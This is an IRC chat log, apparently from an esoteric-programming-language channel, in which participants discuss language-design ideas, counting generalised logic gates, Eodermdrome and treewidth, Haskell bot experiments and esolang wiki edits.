23:50:45 <Zarutian> of on an tangent, eh? Better square up then.
23:50:47 <hppavilion[1]> rdococ: Have you thought about making an esolang that could have real applications? One that takes the typical assumptions of mainstream programming languages and breaks them, creating a language with actual uses due to its eschewing of troublesome conformities?
23:51:46 <rdococ> I would love to be able to come up with an idea that could actually do that.
23:52:23 <hppavilion[1]> I'm thinking about logic gates... I think a nice definition of the general concept is that a (g)logic gate is a function with a finite domain and codomain
23:52:42 <rdococ> that sounds about right
23:53:20 <callforjudgement> rdococ: I've spent years trying and haven't really succeeded (arguably because I'm aiming to find new models of programming, rather than merely make a practical esolang); but I keep trying, because I only really have to succeed once
23:54:08 <rdococ> The problem is, I have trouble coming up with new models of programming.
23:55:34 <rdococ> "Declarative programming is when you say what you want, and imperative language is when you say how to get what you want."
23:56:09 <rdococ> What about when you say why you want it?
23:57:07 <callforjudgement> so I wonder what a language which consisted entirely of optimizer hints would be like, with no actual code to be hinting on
23:57:59 <rdococ> Honestly, to me it just sounds like it would be a declarative language with strange syntax.
23:58:29 <rdococ> imagine the "how" or "what" was blank, and the "why" is "because I want to calculate the first ten digits of pi" or something.
23:58:59 <callforjudgement> nah, go up one level higher; the "why" is "because I'm implementing ISO standard xxxx"
23:59:37 <callforjudgement> I guess what you'd end up with would be a language that's based not around algorithms (imperative), nor around test cases (declarative), but around APIs
00:00:30 <rdococ> So "because I want to make a game about a chicken"?
00:00:51 <rdococ> or am I misunderstanding it?
00:01:34 <hppavilion[1]> I calculated that, if you're talking about the class of simple (id est no-carried-values) logic gates of the form I -> O, where I and O are sequences of nonzero natural numbers (I mean, they could be 0, but makes things kind of boring), there are product(I) * product(O)^len(I) possible logic gates (including degenerate cases)
00:01:34 <rdococ> it sounds like AGI to me
00:01:45 <callforjudgement> you specify that you want to make a game about chickens, and have to provide the details yourself, but you get a DSL with a game engine and some chicken-based primitives
00:01:58 <hppavilion[1]> [took me a while, because I had to go find the ∏ symbol and then decided not to use it)
00:02:18 <rdococ> I think there are already languages which allow you to specify DSLs to program in
00:02:43 <hppavilion[1]> Whoops, started that parenthetical with a ‹[› and ended with a ‹)›. Let's just say that my statement was a half-open interval and leave it at that.
00:04:03 <rdococ> A standard programming language with libraries?
00:04:39 <callforjudgement> but some way for the libraries to compose themselves into more useful forms would be nice
00:05:37 <rdococ> How about a language written in such a way that libraries written in that language are easily composable?
00:06:09 <callforjudgement> even in large library collections that you'd think would be integrated, like the Java API or Win32, the different parts tend to not work together well
00:06:13 <rdococ> I had the idea of a programming language in which subroutines could have 'synonyms', which would be alternate names for the function.
00:06:16 <callforjudgement> so designing a composable library system seems like it might be really useful
00:07:10 <rdococ> So, say, in terms of trigonometry, you could write asin(x), asine(x), arcsin(x) or arcsine(x) and get the same result.
00:08:00 <rdococ> This would allow for some other library requiring the trigonometry library would be able to use any trigonometry library that implemented synonyms.
00:08:57 <callforjudgement> rdococ: hmm, one thing I thought of was that the OO concept of interfaces should have a namespace for the individual functions
00:09:15 <callforjudgement> so that you can comply with two different interfaces even if they have a naming clash
00:09:17 <rdococ> Additionally, libraries in the code would be renameable.
00:09:43 <callforjudgement> I guess at a much higher level, some sort of type-based duck typing would be nice, though
00:10:02 <callforjudgement> functions could describe a list of properties they have, and then somehow we figure out if a type complies with an interface by inspecting them
00:10:54 <hppavilion[1]> callforjudgement: Do you have any ideas how I can calculate the number of non-degenerate (g)logic gates [see above] with a given... configuration?
00:11:18 <callforjudgement> hppavilion[1]: well, normally a logic gate is defined by its truth table
00:11:52 <hppavilion[1]> Oh, found https://math.stackexchange.com/questions/281845/number-of-non-degenerate-boolean-functions#281855 which should be a pretty good starting point
00:12:33 <hppavilion[1]> Ah, there's some binomial coefficienting involved, at least in the boolean case
00:13:27 <hppavilion[1]> ...wait, I don't just want to know how many there are, I'll probably also want a way to decide whether a *given* gate is degenerate
00:13:54 <rdococ> the problem with a sound chip with no audio ram is that it'd just be the PC speaker.
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00:24:07 <lambdabot> ais523 asked 6h 43m 19s ago: Do you know where the content formerly hosted on oerjan.nvg.org is now? I'm interested in your Shove interpreter
00:24:52 <oerjan> anyway, nvg is back up now.
00:27:17 <oerjan> callforjudgement: nvg is student run so when something like this happens during easter break, it can take a while to get fixed.
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00:37:48 <rdococ> fourier series requires the ability to produce an inverted sine wave for the symmetric triangle wave, yes?
00:38:25 <rdococ> or at least the ability to change the phase
00:40:22 <izabera> in js, can you detect if i'm trying to take a screenshot of the page?
00:40:49 <izabera> idk something that runs in a modern browser
00:41:21 <izabera> because i'm about to take a test and they're claiming that they can detect it
00:41:53 <rdococ> does your browser have dev. tools?
00:42:36 <rdococ> maybe inspect the page?
00:42:58 <rdococ> if it's in flash that won't work
00:43:04 -!- moonythedwarf has quit (Remote host closed the connection).
00:43:23 <izabera> even if it's js, it's probably gonna be a minified unreadable blob
00:45:09 <callforjudgement> izabera: you might be able to detect the input that the user uses to take the screenshot, even if you can't detect the screenshot itself
00:45:27 <callforjudgement> there are web pages which can figure out that you're planning to close the tab by the way you move your mouse
00:46:23 <izabera> even changing tab or window is forbidden
00:46:39 <izabera> to bypass such restriction one must be a true hacker
00:47:08 <rdococ> I'd like to see an example... not a malicious one ofc
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00:53:13 <callforjudgement> I was invigilating an exam on computers a while back; we had a few technical measures to catch cheating, but mostly we enforced the rules via shoulder-surfing
00:59:34 <oerjan> that must be hard on the shoulders.
01:02:54 <orby_> oerjan: whaaaat's happening?
01:04:13 <izabera> callforjudgement: i'm on my bed at home and it's 2am
01:04:27 <izabera> they'll have a hard time shoulder surfing
01:04:55 <callforjudgement> unless they've activated the webcam, that's going to be hard to detect
01:06:15 <oerjan> orby_: why would anything be happening? what do you know? you cannot prove i did anything!
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01:07:43 <oerjan> > [x:[y]|x<-"hm....."|y<-"testing"]
01:07:45 <lambdabot> ["ht","me",".s",".t",".i",".n",".g"]
01:09:30 <lambdabot> <hint>:1:5: error: parse error on input ‘|’
01:09:41 <lambdabot> [('h','t'),('m','e'),('.','s'),('.','t'),('.','i'),('.','n'),('.','g')]
01:11:37 <shachaf> > over (partsOf (each.each)) reverse [(x,y)|x<-"hm....."|y<-"testing"]
01:11:39 <lambdabot> [('g','.'),('n','.'),('i','.'),('t','.'),('s','.'),('e','m'),('t','h')]
01:13:05 <shachaf> > over (partsOf (each.each)) reverse ("better","examples")
01:15:11 <rdococ> I'm working on something
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01:17:31 <shachaf> callforjudgement: I think it depends on what you want.
01:17:53 <shachaf> > transpose [[x,y]|x<-"hm....."|y<-"testing"]
01:18:01 <shachaf> > transpose ["hm.....","testing"]
01:18:03 <lambdabot> ["ht","me",".s",".t",".i",".n",".g"]
01:18:21 <oerjan> i was just noticing someone on PPCG said lambdabot supported parallel list comprehensions, and wanted to check.
01:18:21 <shachaf> > transposeOf each ("hm.....","testing")
01:18:24 <lambdabot> [('h','t'),('m','e'),('.','s'),('.','t'),('.','i'),('.','n'),('.','g')]
01:19:40 <lambdabot> LensLike ZipList s t [a] a -> s -> [t]
01:19:47 <oerjan> > transposeOf _1 ("hm.....","testing")
01:19:49 <lambdabot> [('h',"testing"),('m',"testing"),('.',"testing"),('.',"testing"),('.',"testi...
01:21:21 <oerjan> > transposeOf _1 ["hm.....","testing"]
01:21:23 <lambdabot> • Ambiguous type variable ‘t0’ arising from a use of ‘show_M435504326564...
01:21:23 <lambdabot> prevents the constraint ‘(Show t0)’ from being solved.
01:21:32 <oerjan> > transposeOf each ["hm.....","testing"]
01:21:34 <lambdabot> ["ht","me",".s",".t",".i",".n",".g"]
01:22:03 <shachaf> note that transposeOf each /= transpose hth
01:22:58 <orby_> what would a programming language and / or OS based on the tenets of anarchism look like?
01:23:27 <orby_> an OS is easier to imagine, as processes are kind of like citizens
01:23:55 <callforjudgement> presumably it would have a number of highly independent threads
01:24:07 <orby_> yes, I like this, all programs are valid
01:24:56 <orby_> I think there wouldn't be a clear seperation between the interpreter / compiler and the source
01:25:19 <orby_> interpreters are authoritarian
01:25:42 <orby_> the program should be able to alter the behavior of the interpreter
01:26:55 <orby_> or to think of it another way, the program should have authority over how it is interpreted
01:28:49 <orby_> Well, from the perspective the program shouldn't be interpreted at all, it should interpret itself. Though I have no idea what that means practically.
01:31:30 <HackEgo> [wiki] [[Khartridge]] N https://esolangs.org/w/index.php?oldid=51759 * Rdococ * (+1029) Esoteric physical media
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01:35:16 <orby_> what if we used the metaphor of a program as an association of individuals and instructions as individuals
01:37:17 <callforjudgement> <orby_> Well, from the perspective the program shouldn't be interpreted at all, it should interpret itself. Though I have no idea what that means practically. ← I tried to work it out once, it was one of the main themes of Feather
01:37:38 <orby_> callforjudgement: oooh, that sounds like fun
01:39:28 <orby_> neat, just read the page
01:40:52 <orby_> maybe the tenets of anarchism can better be realised by applying them to the relationships between the instructions. example: flow control is authoritarian because it denies an instruction the right to execute
01:41:31 <orby_> scoping also introduces heirarchy
01:41:38 <callforjudgement> one language idea I've had is a language which is likely to continue running fine after minor changes to the code
01:41:46 <rdococ> . o O ( did anybody take a look at the Khartridge article? )
01:42:09 <rdococ> it would be better in a console I think
01:42:25 <orby_> callforjudgement: I've thought about that before too, although in the slightly different form of programs that tend toward a solution and are tolerant of bugs and minor issues
01:42:34 <orby_> rdococ: I did, neat idea :)
01:43:09 <rdococ> . o O ( so many things to look into )
01:43:55 <rdococ> I was also working on a highly abstract language where real numbers would be represented by lazy infinite series
01:43:58 <rdococ> do you want to see that?
01:44:17 <orby_> in an anarchistic programming model, I think there wouldn't be an instruction pointer at all, as it implies some centralized authority doling out execution cycles
01:44:27 <orby_> rdococ: shoot a link
01:44:43 <orby_> all instructions should execute simultaneously
01:44:45 <rdococ> link to the Khartridge or to my idea for a highly abstract language?
01:44:56 <orby_> abstract language, already read khartridge
01:45:07 <rdococ> ah, I haven't made an article on it yet.
01:45:28 <hppavilion[1]> callforjudgement: I *think* I found a recursive solution
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01:45:50 <rdococ> (Something else cool about the Khartridge is that an ACE exploit lasts forever unless you let the battery run out.)
01:46:45 <orby_> hppavilion[1]: to the self interpretation idea?
01:47:06 <orby_> oh, haha, too many ideas floating around
01:47:21 <hppavilion[1]> orby_: To counting the number of degenerate vs. non-degenerate (g)logic gates of a given configuration
01:47:41 <Jafet> people who want to design “extremely high level declarative languages” may want to look at https://www.microsoft.com/en-us/research/wp-content/uploads/2016/12/popl10_synthesis.pdf
01:47:45 <orby_> I do not know what this is. What is (g)logic?
01:49:30 <orby_> hppavilion[1]: fun :)
01:50:04 <hppavilion[1]> orby_: Basically, I generalized the concept of "logic gate" to apply to any number of inputs and outputs of any number of options on each
01:50:06 * rdococ tries to DDG how large the ROM of Pokemon Red has
01:50:42 <orby_> hppavilion[1]: I think they call those circuits ;)
01:50:47 <hppavilion[1]> orby_: So, like, something that takes two 2-option inputs and one 3-option input to give you a 7-option output is a (g)logic gate
01:50:59 <hppavilion[1]> orby_: Usually circuits are purely binary inputs and outputs
01:50:59 <orby_> cool cool, I'm with you
01:51:12 <orby_> I'm just teasing :)
01:52:31 <rdococ> I'll get to work on the extremely abstract language, I guess.
01:52:38 <rdococ> (Specification of it, anyway.)
01:52:41 <orby_> hppavilion[1]: is it not possible to reduce a (g)logic gate to an equivalent in traditional logic gates?
01:52:49 <hppavilion[1]> orby_: According to the math I've been working out, there are 13841287201 different gates of that class I (the [2:2,3 | 7] class); 237265 of them are degenerate forms and 13841049936 are nondegenerate
01:53:06 <orby_> how do you define degenerate and nondegenerate?
01:53:32 <hppavilion[1]> orby_: The same way as in normal logic gates; a gate is degenerate if some of its inputs have no bearing on the result
01:53:48 <orby_> got it. I was not familiar with that term.
01:54:38 <hppavilion[1]> orby_: So in a normal context, the dyadic/boolean gate (ab : 00 -> 1; 01 -> 0; 10 -> 1; 11 -> 0) is degenerate since it's just ~b with an extra input
01:55:01 <orby_> I'm with you, thanks for the example
01:56:23 <orby_> have you played with allowing the options to go to infinity?
01:56:44 <orby_> I wonder if you get useful convergence in the behavior as the number of options gets big
01:58:35 <orby_> I guess that's getting into functional analysis
02:01:38 <orby_> does anyone know if there are any languages on the wiki that don't use an instruction pointer (either 1D or 2D?)
02:01:47 <rdococ> µ appears like M in the wiki heading font
02:01:53 <orby_> by which I mean, neither a 1d nor 2d instruction pointer
02:02:06 <orby_> rdococ: that's a bummer
02:03:57 <oerjan> rdococ: use the {{lowercase}} template hth
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02:09:52 <HackEgo> [wiki] [[Template:Lowercase]] https://esolangs.org/w/index.php?diff=51760&oldid=30191 * Oerjan * (+137) Add usage note
02:11:06 <HackEgo> [wiki] [[Template:Lowercase]] https://esolangs.org/w/index.php?diff=51761&oldid=51760 * Oerjan * (-1) rm newlines
02:11:44 <oerjan> hm perhaps that didn't matter.
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02:12:36 <HackEgo> [wiki] [[Template:Lowercase]] https://esolangs.org/w/index.php?diff=51762&oldid=51761 * Oerjan * (-136) Testing
02:12:41 <orby_> fyi https://en.wikipedia.org/wiki/Dataflow is one way to get around using an instruction pointer, didn't really think about it that way
02:13:25 <callforjudgement> oerjan: ooh, I misread the domain name and thought that was an esolang
02:14:29 <oerjan> callforjudgement: gah, do you know how to put <noinclude> in a template so it doesn't add a newline?
02:14:55 <callforjudgement> oerjan: deleting the newlines around the <noinclude> itself works in some cases
02:16:21 <oerjan> although only the one _before_...
02:17:49 <HackEgo> [wiki] [[Template:Lowercase]] https://esolangs.org/w/index.php?diff=51763&oldid=51762 * Oerjan * (+136) Try again
02:18:07 <oerjan> callforjudgement: thanks
02:18:30 <orby_> callforjudgement: no, not an esolang... yet! a better page for dataflow programming https://en.wikipedia.org/wiki/Dataflow_programming
02:18:39 <rdococ> Is there a mathematical algorithm to determine if two infinite series converge to the same value?
02:18:59 <oerjan> orby_: do you consider e.g. /// to have an instruction pointer? it always executes the first command, then deletes it from the program.
02:19:18 <callforjudgement> rdococ: I can't think of a reliable way apart from taking limits of each
02:19:34 <callforjudgement> asking whether they converge to /each other/ is probably more interesting, because it's more general
02:19:37 <orby_> oerjan: hmm, I would say it is still sequential and thus more or less has an ip, even though there isn't flow control
02:19:57 <rdococ> callforjudgement: Perhaps?
02:20:01 <callforjudgement> what about But Is It Art? that's one of the least IPful languages I've written
02:20:23 <orby_> callforjudgement: let me read that one again
02:21:48 <orby_> ok, I remember it now. yeah, I'd say that's squarely outside of the realm of sequential languages
02:22:28 <oerjan> rdococ: given that it's undecidable whether an infinite series _converges_, it's also undecidable whether two converge to the same thing. (well, essentially.)
02:22:36 <orby_> I really like this dataflow programming model for an anarchistic programming language as it models each command as a node in a graph, which seems more egalitarian to me than the traitional sequential model
02:23:34 <rdococ> oerjan, even through judicious application of algebra?
02:23:45 <oerjan> orby_: cellular automata would also count, no?
02:24:14 <callforjudgement> rdococ: although note that just because it's undecidable in general doesn't mean that it isn't often decidable in practice
02:24:27 <orby_> oerjan: yeah, cellular automata definitely count
02:24:35 <orby_> "Where a linear program[clarification needed] can be imagined as a single worker moving between tasks (operations), a dataflow program is more like a series of workers on an assembly line, each doing a specific task whenever materials are available."
02:24:48 <callforjudgement> a good parallel (although not exactly the same) is that the majority of NP-complete problems tend to be fairly easy if given random problems
02:24:49 <oerjan> orby_: oh, also eodermdrome
02:24:49 <orby_> man, if that doesn't sound like anarchism I don't know what does
02:25:14 <callforjudgement> come to think of it, eodermdrome and BIIA? have quite a few similarities
02:25:46 <orby_> oerjan: checking out eodermdrome now
02:26:15 <Jafet> orby: most cellular automata, term rewriting (lambda calculus) and graph rewriting languages (G-machine, eodermdrome), pretty much all of circuit theory
02:26:41 <rdococ> How about generalized continued fractions, oerjan?
02:27:06 <orby_> hmm, eodermdrome is not exactly what I am looking for, as it does model the state as a graph, but the instructions are still executed sequentially
02:27:09 <Jafet> concurrent actor models, etc.
02:27:25 <orby_> yeah, concurrent actor models are more along the lines of what I am think
02:28:13 <callforjudgement> nor does thue (where the evaluation order is nondeterministic)
02:28:57 <oerjan> orby_: the instructions aren't necessarily executed sequentially, although some implementations may choose to use the first matching one.
02:29:07 <orby_> callforjudgement: when you say much, do you mean not at all, or only a little? I haven't read into enough detail to understand it
02:29:13 <Jafet> computational salmon migration models…
02:30:03 <callforjudgement> orby_: "If no command in the program has its prerequisites met, the program will exit; otherwise, an unspecified command whose prerequisites are met will be run (this means that an interpreter can always choose the first, or the last, or a random command, or use any other method to determine which command runs, if more than one can run)."
02:30:23 <callforjudgement> also, most eodermdrome programs are written in such a way that the order in which commands run isn't relevant at all
02:30:41 <Jafet> “most eodermdrome programs”
02:30:43 <orby_> hmm, let me look at this again in more detail... that sounds closer to what I'm thinking than I thought on first glance
02:32:07 <callforjudgement> and it looks like it's used occasionally: https://codegolf.stackexchange.com/a/67507/62131
02:33:55 <orby_> callforjudgement: Ahh, I have a clearer idea of how it works now. Yes, this is the spirit I'm looking for. Really cool idea, even if "is capable of executing a couple of commands per second" is a little prohibitive ;)
02:34:27 <Jafet> well, real eodermdrome programs are going to be deterministic or nearly so, if only because it's painful to design them in more interesting ways
02:35:10 <Jafet> only if the implementation supports it properly though
02:35:36 <callforjudgement> the compiler might or might not be able to optimize it, but probably not
02:35:36 <orby_> "In terms of encoding, a dataflow program might be implemented as a hash table, with uniquely identified inputs as the keys, used to look up pointers to the instructions."
02:36:12 <orby_> sounds pretty egalitarian to me :)
02:36:19 <Jafet> the obvious optimisation of checking the most recently changed part of the graph first would starve other “threads” without explicit synchronisation
02:36:39 <alercah> callforjudgement: oh, eodermdrome is cool; have you read much on graph grammars?
02:36:56 <callforjudgement> alercah: no, but I assume they're inspired by the same basic idea
02:38:02 <alercah> callforjudgement: my masters thesis did a bunch of work with hyperedge replacement grammars
02:38:22 <alercah> although the modern formulation does not actually refer to hyperedges
02:38:31 <oerjan> callforjudgement: hm that stackexchange eodermdrome program is misunderstanding how the language works, it will print _many_ hello worlds.
02:39:14 <callforjudgement> oh, in that case it may be worth dropping a comment and asking the author to request it
02:39:37 <oerjan> it actually works, but it doesn't match al, it matches og
02:40:50 <alercah> callforjudgement: tl;dr, productions are of the form {label} -> hypergraph with an ordered tuple of distinguished nodes, called external nodes
02:41:15 <alercah> an edge can connect to multiple nodes
02:41:37 <alercah> in this case, a hyperedge has an ordering of nodes as well
02:42:16 <alercah> then if e is a hyperedge labeled A with k nodes, then you can use the production A -> H to replace e with H, identifying the neighbours of e with the external vertices of H in order
02:42:54 <callforjudgement> as opposed to Eodermdrome, which is definitely context-sensitive
02:43:13 <oerjan> callforjudgement: done
02:43:30 <alercah> callforjudgement: it is equivalent to a CFG over a specific type of graph algebra, yes
02:44:12 <alercah> well, to a particular kind of equation system; a CFG is such an equation system over a free monoid
02:46:17 <alercah> callforjudgement: hmm I think eodermdrome suffers a restriction that HR also has, namely that any given program can only generate graphs of finite treewith
02:47:47 <alercah> https://en.wikipedia.org/wiki/Treewidth
02:49:23 <alercah> the reason is that a command with k open vertices will create a graph where they form a cutset, so the treewidth of the result is max(tw(rest of graph), tw(replacement graph), k)
02:51:14 <alercah> tw(replacement graph) and k are fixed by the rule, and tw(rest of graph) is bounded inductively
02:52:18 <callforjudgement> I don't find treewidth a very intuitive concept, but using the clique definition, I can see how a cutset would prevent a new clique forming
02:54:35 <alercah> the way that I tend to think about it is "if you zoom out, how tree-like can you make it"
02:55:04 <alercah> or I guess how far you need to zoom to get a tree
02:55:09 <Jafet> the treewidth bound should give a O(2^26 n) (or maybe n^2) algorithm to implement eodermdrome, but I never bothered to look into it
02:55:41 <alercah> ^ yeah, the treewidth bound means that implementing it is fixed-parameter tractable
02:55:47 <callforjudgement> that's not the first time I've seen an "O"(2²⁶n) solution to something
02:55:47 <alercah> which is actually quite interesting!
02:55:50 <Jafet> there's also a randomised colouring algorithm that should work in O(e^26 n) expected time or so
02:56:08 <alercah> Jafet: that's just linear, no?
02:56:32 <callforjudgement> we need a notation that's like big-O notation but somehow conveys the approximate magnitude of the constant factor
02:56:52 <Jafet> callforjudgement: that's what fixed-parameter complexity addresses
02:56:59 <Jafet> here k=26 is the fixed parameter
02:57:12 <callforjudgement> Jafet: right, I thought the definition would be along those lines
02:57:30 <hppavilion[1]> rdococ: You're the one who contemplated a BUT gate- p BUT q?
02:57:31 <callforjudgement> it's hard to imagine an eodermdrome interpreter that inherently cares about the number 26
02:57:54 <rdococ> How does it work, callforjudgement
02:58:21 <hppavilion[1]> Because I think that the dyadic/boolean gate 0010 is a good candidate for p BUT q
02:58:23 <callforjudgement> rdococ: hppavilion[1]: http://c.intercal.org.uk/manual/qk5q4hrh.htm#TriINTERCAL
02:58:31 <Jafet> more precisely, k is the size of the graph you are matchin
02:58:38 <alercah> fixed-parameter tractability means that there is some variable parameter that you can fix that makes the problem tractable
02:58:52 <alercah> it doesn't mean the problem is tractable in the general case
02:59:06 <alercah> but if you limit to, say, input graphs of size k, then it might be tractable
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03:07:33 <orby> I thought to myself, my the channel got suddenly quiet. Then I realised I had disconnected...
03:09:27 <rdococ> To be fair, nobody did talk while you were gone :P
03:09:51 <orby> I wonder how long I was disconnected
03:10:41 * oerjan doesn't have seconds in his client.
03:11:30 <orby> I need to get a real irc client for windows
03:12:03 <orby> that sounds lovely
03:12:15 <hppavilion[1]> It's so precise they needed to invent a new prefix for it, and they didn't have any latin letters left
03:12:28 <hppavilion[1]> orby: To be clear, that's a greek letter rho, not a p like 'pico'
03:12:50 <rdococ> why'd they make it look like pico then?
03:13:17 <orby> that's interesting. what does the rho prefix stand for?
03:13:35 <orby> rather, what order of magnitude?
03:14:14 <orby> I am not familiar with your notation
03:14:26 <orby> what is -epsilon_0?
03:15:19 <hppavilion[1]> orby: ε_0 is an ordinal; see <https://en.wikipedia.org/wiki/Epsilon_numbers_%28mathematics%29>
03:16:14 <orby> I get it! A joke!
03:16:33 <Jafet> is that the same quantity as 2^-ε_0?
03:16:42 <hppavilion[1]> rdococ: They've never been very good at abbreviations, given that they added the usually-impossible-to-type, sometimes-difficult-to-transmit, a-bit-weird-to-write, impossible-to-think-about-without-going-insane-from-knowledge-man-was-not-meant-to-know μ as a frequently-needed prefix symbol.
03:17:08 <hppavilion[1]> Jafet: You would think so, but you'd be wrong, since this is base ω and that isn't a normal 10.
03:17:38 <Jafet> I thought that 10 was the same in every base
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03:18:46 <hppavilion[1]> Jafet: In German Military bases, for example, they call it "Zehn"
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03:26:41 <HackEgo> . o O ( Why are they asking me for what a thought is? )
03:26:50 <oerjan> `slwd thought//s,for ,,
03:26:53 <HackEgo> thought//. o O ( Why are they asking me what a thought is? )
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03:27:57 <HackEgo> [wiki] [[CompressedFuck]] M https://esolangs.org/w/index.php?diff=51764&oldid=45695 * Fractalwizz * (+140) Added Interpreter Link
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03:35:14 <oerjan> i see it is time to retire from HackEgo again.
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03:37:36 <oerjan> chatter29 was not doing again.
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03:38:45 <HackEgo> 10739:2017-04-16 <int-̈e> revert \ 10738:2017-04-16 <Remavas-Hëx> le//rn FSM//A flying spaghetti monster that always consume all of its "input" and outputs *something* \ 5949:2015-08-30 <oerjän> learn An FSM is a state machine with noodly appendages.
03:42:20 <HackEgo> [wiki] [[Eodermdrome]] https://esolangs.org/w/index.php?diff=51765&oldid=42057 * Jafetish * (+208) /* Implementation */
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03:43:41 <oerjan> Jafet: did you test the BCT interpreter twh
03:44:16 <Jafet> it's the program we both used to test our interpreters hth
03:44:21 <oerjan> i vaguely recall someone did once
03:46:00 <HackEgo> [wiki] [[Eodermdrome]] https://esolangs.org/w/index.php?diff=51766&oldid=51765 * Oerjan * (-40) /* Computational class */ It's been tested now
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04:06:35 <Soni> why's there not a page about sed programming
04:06:43 <Soni> like tetris in sed or gzip in sed
04:07:21 <Soni> because, while sed is a normal tool, writing a fully functional tetris implementation in it is not normal
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04:08:32 <oerjan> Soni: a bit tricky to get keyboard input, i think
04:09:31 <oerjan> Soni: sed can only take whole lines as input
04:10:48 <oerjan> also, a bit tricky to do anything when the user is _not_ giving input.
04:11:07 <Soni> that's why you need to press return every time you give it input
04:11:24 <Soni> (or when you *don't* give it any input)
04:16:06 <oerjan> sounds like a good tetris ui
04:17:23 <Jafet> after all, tetris can only take whole lines as output
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04:39:34 <shachaf> zzo38: Do you play bridge?
05:21:44 <oerjan> @tell moonythedwarf <moonythedwarf> quinor, besides, we can revert your shit as long as you dont chmod 000 everything. <-- that bug was fixed hth
05:24:13 <HackEgo> I must confess, I know not of what you are speaking.
05:24:15 <HackEgo> I must confess, I know not of what you are speaking.
05:24:19 <HackEgo> I must confess, I know not of what you are speaking.
05:24:22 <rdococ> `tomfoolery tomfoolery
05:24:39 <HackEgo> tomfoolery//tomfoolery is always factually inaccurate. always.
05:24:48 <HackEgo> fourth wisdom//.wisdoms other the all upon builds wisdom fourth The
05:29:16 <oerjan> @tell moonythedwarf <moonythedwarf> also, quinor, if you need the full output, redirect output to a file, and then `paste <filename> for a link to it <-- | paste is better for command output hth
05:32:39 <rdococ> . o O ( If the opposite of goto is comefrom, what is the opposite of return? )
05:38:48 <oerjan> return is to go to somewhere you have been, so the opposite is to come from a place you'll be
05:41:04 <Soni> the opposite of return is setjmp
05:41:18 <Soni> the opposite of call is longjmp
05:41:23 <Soni> or however you use those things
05:45:52 <rdococ> . o O ( opposite of variables )
05:50:39 <oerjan> `` ls -l /usr/bin/passwd
05:50:40 <HackEgo> -rwsr-xr-x 1 0 0 54192 Feb 24 08:09 /usr/bin/passwd
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06:19:33 <rdococ> so how is quartersquare related to A1?
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06:37:44 <rdococ> Btw: I'll be recreating the dead article K as an esolang.
06:38:09 <rdococ> It was gonna be called µ, but it will have a special K constructor, so I decided, why not call it K?
06:45:37 <HackEgo> [U+004B LATIN CAPITAL LETTER K]
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06:50:17 <HackEgo> [wiki] [[K]] N https://esolangs.org/w/index.php?oldid=51767 * Rdococ * (+2048) Real numbers & the K construct.
06:52:43 <hppavilion[1]> "Your family's so redneck, a DAG is insufficient to describe your pedigree"
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06:53:29 <rdococ> apparently there's a problem with my formatting
06:55:25 <rdococ> a K constructor takes two infinite lists and returns a real number whose generalized continued fraction is based on the two lists
06:55:45 <rdococ> actually, the real number is stored as the continued fraction, but meh
06:57:10 <HackEgo> [wiki] [[K]] M https://esolangs.org/w/index.php?diff=51768&oldid=51767 * Rdococ * (+9)
06:57:59 <HackEgo> [wiki] [[User:Rdococ]] https://esolangs.org/w/index.php?diff=51769&oldid=51722 * Rdococ * (+70) /* My hopefully better esoteric languages (2017 CE - infinity CE) */ added K
06:58:19 <rdococ> hppavilion[1], see Khartridge on esolangs.org
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06:59:46 <HackEgo> [wiki] [[User:Rdococ]] https://esolangs.org/w/index.php?diff=51770&oldid=51769 * Rdococ * (+207) Added the Khartridge
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07:07:01 <hppavilion[1]> rdococ: Another thing you might find interesting: Toying with the underlying data model of a language
07:07:29 <rdococ> K uses two lazy infinite lists to store real numbers in memory :P
07:07:50 <hppavilion[1]> rdococ: Most normal languages us a map with identifiers as the key-type as their data model
07:10:24 <hppavilion[1]> rdococ: Languages like Forth, Underload, and Befunge use stacks (though befunge also invokes the grid) as the underlying data model, languages like brainfuck use a tape, Fueue uses a Queue
07:11:07 <hppavilion[1]> rdococ: But do you get what I mean by "underlying data model" now?
07:11:16 <rdococ> I knew in the first place but okay
07:11:39 <rdococ> no, I knew that term :P
07:11:47 <rdococ> I was just confused by 'identifiers' tbh
07:12:04 <hppavilion[1]> rdococ: I'm not sure if I invented the term or it already existed :P
07:12:29 <hppavilion[1]> rdococ: Yes and no; variables are what identifiers refer to.
07:12:43 <rdococ> No, that's not what I meant.
07:12:56 <rdococ> I know an identifier and a variable are different.
07:13:13 <rdococ> I was just asking whether you meant the concept of variables when you mentioned a map with identifiers as the key-type.
07:16:42 <hppavilion[1]> rdococ: But a fun esodea is to mess with the underlying data model in strange ways; like, what if you used a reflective/bidirectional/whatever map instead of a normal one?
07:17:01 <pikhq> https://www.youtube.com/watch?v=uNjxe8ShM-8
07:17:11 <pikhq> I would like to be on-topic for once.
07:18:28 <pikhq> (Powerpoint is Turing-complete)
07:19:03 <zzo38> Yes, I think I saw in the SIGBOVIK report about how they made Turing-complete with Powerpoint
07:23:51 <rdococ> pikhq: I love that video so much
07:24:37 <hppavilion[1]> But no actual values there; the information is just in the relations
07:24:41 <rdococ> hppavilion[1]: so x == y
07:25:46 <rdococ> hppavilion[1]: it does kinda sound like variables without values
07:25:58 <rdococ> and just equivalence to other variables instead
07:26:22 <rdococ> How about an inverted map? x -> y means y -> ¬x
07:26:28 <rdococ> and ¬x -> ¬y and ¬y -> x
07:26:33 <rdococ> like the imaginary unit
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07:29:01 <Jafet> I wonder if the current topic is something to hang on to
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07:50:46 <HackEgo> [wiki] [[K]] https://esolangs.org/w/index.php?diff=51771&oldid=51768 * Rdococ * (+88) /* Overview */
07:55:42 <HackEgo> [wiki] [[K]] M https://esolangs.org/w/index.php?diff=51772&oldid=51771 * Rdococ * (+1) /* Overview */
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08:16:04 <HackEgo> brainfuck is the integral of the family of terrible esolangs. The name is a euphemism for "beef". bf -c -t "+>+++++>+++" | mklang --array
08:20:07 <Nistur> I get the feeling that I might get looked down on here if I mention I've been playing with brainfuck? :P I gather it's the most boring and overused esolang, right?
08:21:07 <rdococ> it's not the most boring and overused esolang.
08:21:15 <rdococ> its derivatives are a whole spectrum of crap tho.
08:21:37 <Nistur> ahh, so I don't have to claw back acceptence by saying I wrote a bf compiler in 8080 assembler? :P
08:21:52 <zzo38> If you want to write a bf compiler in 8080 assembler that is OK.
08:22:11 <rdococ> of course, there are good bf derivatives. BitChanger comes to mind.
08:22:32 <rdococ> also, how about the picofuck project?
08:23:52 <Nistur> I got inspired before christmas by Hackaday's 1kB challenge... I wanted to try to write soemthing for some microcontroller in 1kB... so I decided that, as I'd written a 8080 emulator, I'd try and write something in bf for that... so the limit was 256B for the compiler, and 768B for the bf program... but I have no idea what program I'll write yet (also, I'm looooooong past the 1kB challenge end... but I
